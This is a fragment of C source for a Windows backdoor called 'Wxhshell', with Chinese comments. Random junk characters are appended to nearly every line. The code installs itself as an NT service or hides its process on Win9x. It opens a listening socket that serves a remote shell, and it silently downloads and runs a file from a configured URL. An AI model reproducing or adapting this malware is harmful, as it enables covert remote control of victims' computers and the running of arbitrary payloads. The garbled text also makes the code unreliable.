DWORD AffinityMask; X^fMt]
DWORD BasePriority; }MXZ
ULONG UniqueProcessId; 9$UjZ$ v
ULONG InheritedFromUniqueProcessId; (K^9$w]tf
} PROCESS_BASIC_INFORMATION; VEo>uR
R}>Gk
PROCNTQSIP NtQueryInformationProcess; BE}lzn=sF
uK}k]x\z
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; N<Ti[Q]G
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !t~S.`vF
3vNo D
HANDLE hProcess; |2{y'?,
PROCESS_BASIC_INFORMATION pbi; Mq6.!j
F~{yqY5]n
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }_gCWz-5?
if(NULL == hInst ) return 0; a|TP 2m
A&F@+X6@
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3V LwMF?
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I)Lg=n$
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 9[6xo!
(Dq3e9fX
if (!NtQueryInformationProcess) return 0; Ok2k;
+l
D|`[ [
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lj'c0k8
if(!hProcess) return 0; )#IiHBF
xREqcH,vU
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @6}c\z@AxM
X: @nROL^7
CloseHandle(hProcess); YNHn# 98\
&Q(Q/]U~
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w*$nG$
if(hProcess==NULL) return 0; sqj8c)6
)uZ<?bkQ
HMODULE hMod; >vt#,8VAN
char procName[255]; sAC1Pda
unsigned long cbNeeded; @&mv4zz&W
"7Zb)Ocb
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %HwPOEJ
y%`^*E&
CloseHandle(hProcess); yi
r#G""7
r3_@ L>;
if(strstr(procName,"services")) return 1; // 以服务启动 lNls8@
zSj.Y{J
return 0; // 注册表启动 nWmc
} mNWmp_c,1
W&TPrB
// 主模块 a?M<r>
int StartWxhshell(LPSTR lpCmdLine) b3<<4Vf
{ g9'50<|J
SOCKET wsl; K?(ls$
BOOL val=TRUE; E;| q
int port=0; kO~xE-(=
struct sockaddr_in door; 2,E&}a|;b
Pm%ZzU
if(wscfg.ws_autoins) Install(); h,rGa\X~0
QYyF6ht=!
port=atoi(lpCmdLine); 6wIv7@Y
kHm1aE<
if(port<=0) port=wscfg.ws_port; dkLc"$(O
9)e`mO*n
WSADATA data; \,ir]e,1
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y>wpla[kUq
o5i?|HJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r-H~MisL
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); vA;ml$
door.sin_family = AF_INET; gB71~A{J
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xe:B*
door.sin_port = htons(port); nBWrkVX
?U iwr{Q
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `-qSvjX
closesocket(wsl); 8!4=j
return 1; v^HDR 3I
} ]J5[ZVz
it D%sKo
if(listen(wsl,2) == INVALID_SOCKET) { s|"V$/X(W
closesocket(wsl); "|.>pD#0&
return 1; f|w+}z
} el;^cMY
Wxhshell(wsl); [
C]=p
WSACleanup(); y%v<Cp@R
NnGQ=$e
return 0; KaBze67<|
J &u&G7#S
}
]i=-/
2fFNJ
// 以NT服务方式启动 Q^b_+M
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9Rb-QI
{ &gIu<*u<
DWORD status = 0; V[rNJf1z
DWORD specificError = 0xfffffff; DTlM}
Rr|VGtg
serviceStatus.dwServiceType = SERVICE_WIN32; =LZj6'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; $_@~t$
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; aVO5zR./)
serviceStatus.dwWin32ExitCode = 0; ]J~37 35]
serviceStatus.dwServiceSpecificExitCode = 0; s~IOc%3
serviceStatus.dwCheckPoint = 0; OzX\s=
serviceStatus.dwWaitHint = 0; `P)1RTVx
w`c9_V
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p! zC
if (hServiceStatusHandle==0) return; D$YAi%*H
V7[Dvg:W
status = GetLastError(); d3&gHt2
if (status!=NO_ERROR) Jr% u[d>
{ |t4k&Dkx`
serviceStatus.dwCurrentState = SERVICE_STOPPED; A\i/@x5#
serviceStatus.dwCheckPoint = 0; E`=y9r*Z
serviceStatus.dwWaitHint = 0; gt';_
serviceStatus.dwWin32ExitCode = status; 9c=Y+=<
serviceStatus.dwServiceSpecificExitCode = specificError;
OMvwmm
SetServiceStatus(hServiceStatusHandle, &serviceStatus); os/~6
return;
P@PZ m
} %+Z0$Q
#CW]70H`
serviceStatus.dwCurrentState = SERVICE_RUNNING; eW1$;.^
serviceStatus.dwCheckPoint = 0; {5#P1jlT
serviceStatus.dwWaitHint = 0; dY;^JPT
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `[jQn;
} $io-<Z#Q
TEh]-x`
// 处理NT服务事件,比如:启动、停止 LCyci1\@
VOID WINAPI NTServiceHandler(DWORD fdwControl) \&&kUpI
{ 23_<u]V
switch(fdwControl) c^6v7wT5
{ a_`E'BkgU
case SERVICE_CONTROL_STOP: G"5Nj3vd
serviceStatus.dwWin32ExitCode = 0; 6@]Xwq
serviceStatus.dwCurrentState = SERVICE_STOPPED; Y
H
2iV
serviceStatus.dwCheckPoint = 0; A AH-Dj|&l
serviceStatus.dwWaitHint = 0; S/G,A,"c
{ N`8!h:yL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^t*+hFEI
} C$"jZcm,I
return; v|?hc'Fj
case SERVICE_CONTROL_PAUSE: $Y,,e3R3
serviceStatus.dwCurrentState = SERVICE_PAUSED; +&4PGv53J
break; E,c~.jYc
case SERVICE_CONTROL_CONTINUE: f8#WT$Ewy
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6!n"E@Bwu
break; SR*%-JbA
case SERVICE_CONTROL_INTERROGATE: vk5pnCM^3
break; xv$^%(Ujp
}; (|'w$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xp)#a_}
} 8!VjXj"
r[TS#hQ
// 标准应用程序主函数 /I7sa* i
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |Mo# +{~c
{ q[M7)-
@7u4v%,wB
// 获取操作系统版本 Jtd@8fVi
OsIsNt=GetOsVer(); ?Ih24>:D
GetModuleFileName(NULL,ExeFile,MAX_PATH); .x(&-
C:
kl/9M@
// 从命令行安装 `eND3c
if(strpbrk(lpCmdLine,"iI")) Install(); 6lT1X)
yx{Ac|<mR
// 下载执行文件 UciWrwE
if(wscfg.ws_downexe) {
CV]PCq!
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >:W)9o
WinExec(wscfg.ws_filenam,SW_HIDE); 8kW9.
} D8m?`^Zz
smIZ:L%
if(!OsIsNt) { "sAR<5b
// 如果时win9x,隐藏进程并且设置为注册表启动 thipfS
HideProc(); pr;<n\Y{
StartWxhshell(lpCmdLine); 6ynQCD
} xXA$16kd
else g~FB&U4c
if(StartFromService()) XhWMvme
// 以服务方式启动 l]sO[`X
StartServiceCtrlDispatcher(DispatchTable); 4=o3ZRV
else
(pi7TSJ
// 普通方式启动 {)4Vv`n
StartWxhshell(lpCmdLine); yC+N18y?
K ANE"M
return 0; .Z%7+[
}